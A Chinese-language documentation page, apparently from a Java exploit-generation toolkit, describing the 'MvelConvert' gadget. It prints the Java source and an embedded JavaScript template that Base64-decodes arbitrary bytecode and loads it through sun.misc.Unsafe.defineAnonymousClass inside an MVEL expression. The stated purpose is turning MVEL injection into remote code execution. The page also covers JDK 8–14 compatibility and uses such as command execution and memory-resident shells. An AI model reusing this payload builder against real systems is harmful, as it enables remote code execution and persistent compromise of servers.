Skip to content

Latest commit

 

History

History
66 lines (54 loc) · 4.41 KB

File metadata and controls

66 lines (54 loc) · 4.41 KB

将byte[]字节码转换为Mvel表达式字符串(MvelConvert)

  • 类别:common 别名:— 优先级:—
  • 作者:—
  • 依赖mvel

作用

把下游产出的 byte[] 字节码转换成一段 MVEL 表达式字符串——该表达式内部再嵌套一段 JS 脚本,通过 ScriptEngineManager 的 js 引擎用 Unsafe.defineAnonymousClass 加载并实例化任意字节码。即在 MVEL 注入场景下实现「任意字节码加载 → RCE」的编码转换环。

链接标签

  • 入口 tagsMvel_ExprExpression —— 产出 MVEL 表达式文本。
  • 衔接 nextTagsBytecodeConvertTag —— 之后(链更内层)需接一个产出 byte[] 字节码的转换器 sink(如 BytecodeConvert 承载 Exec 生成的恶意类字节码)。
  • excludes:无。

源码剖析

本类实现 Gadgetinvoke 会先向内构建链、取回字节码,再包装成 MVEL 表达式:

public class MvelConvert implements Gadget {
    public static String mvelTemplate =
        "new javax.script.ScriptEngineManager().getEngineByName(\"js\").eval(\"" + JsConvert.jsTemplate + "\");";

    public String getObject(byte[] bytes) {
        String bytecodeB64 = Base64.encodeBase64String((byte[])bytes);
        return String.format(mvelTemplate, bytecodeB64);
    }

    @Override
    public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
        return this.getObject((byte[])chain.doCreate(context));
    }
}
  • invoke 调用 chain.doCreate(context) 取回内层字节码byte[],由下游 BytecodeConvertTag 构件产出),交给 getObject
  • getObject 先把字节码 Base64 编码,再填入 mvelTemplate

mvelTemplate 本身是一段 MVEL: new javax.script.ScriptEngineManager().getEngineByName("js").eval("<JS脚本>"); ——即 MVEL 负责实例化 js 脚本引擎并 eval 一段 JS。内嵌的 JS 脚本来自 JsConvert.jsTemplate

// JsConvert.jsTemplate(被 MvelConvert 复用)
"var s = '%s';var bt;try {bt = java.lang.Class.forName('sun.misc.BASE64Decoder').newInstance().decodeBuffer(s);}"
+ " catch (e) {bt = java.util.Base64.getDecoder().decode(s);}"
+ "var theUnsafeField = java.lang.Class.forName('sun.misc.Unsafe').getDeclaredField('theUnsafe');"
+ "theUnsafeField.setAccessible(true);unsafe = theUnsafeField.get(null);"
+ "unsafe.defineAnonymousClass(java.lang.Class.forName('java.lang.Class'), bt, null).newInstance();"

该 JS 在目标端做三件事:把 Base64 还原为字节码 bt(先试 sun.misc.BASE64Decoder,失败回退 java.util.Base64)→ 反射拿到 sun.misc.Unsafe.theUnsafe 单例 → 调用 Unsafe.defineAnonymousClass(...) 直接从字节码定义匿名类并 newInstance()newInstance() 触发恶意类的静态块/构造器,从而执行内置逻辑(通常是 ExecProcessBuilder 命令执行)。

因此整条内→外为:Exec 产字节码 → BytecodeConvertbyte[]MvelConvert 包成 MVEL 表达式 → 目标 MVEL 求值点执行。description 所述「内部使用 js 引擎来实现加载字节码」正指这层 MVEL→JS→Unsafe 的嵌套加载。

参数(@Param)

本类无独立 @Param;字节码来源由链上游(BytecodeConvertTag 构件)提供。

适用版本与原理要点

  • 依赖 mvel 表达式引擎,需目标存在可控 MVEL 求值点。
  • 关键前提:目标 JDK 须内置可用的 js 脚本引擎(Nashorn)。参照被复用的 JsConvert,其适用范围为 8 <= jdk <= 14——jdk15 起 Nashorn 被移除,getEngineByName("js") 返回 null 而失效;Java 6/7 引擎为 Rhino,细节有别。
  • Unsafe.defineAnonymousClass 属内部 API,高版本 JDK 对其可用性亦有收敛,实战以 8~14 最稳。
  • 相比直接命令执行,本路径可加载任意字节码(回显/内存马等),灵活性更高。

所属预设链

自由构件,未直接出现在预设链(usedInChains 为空)。

关联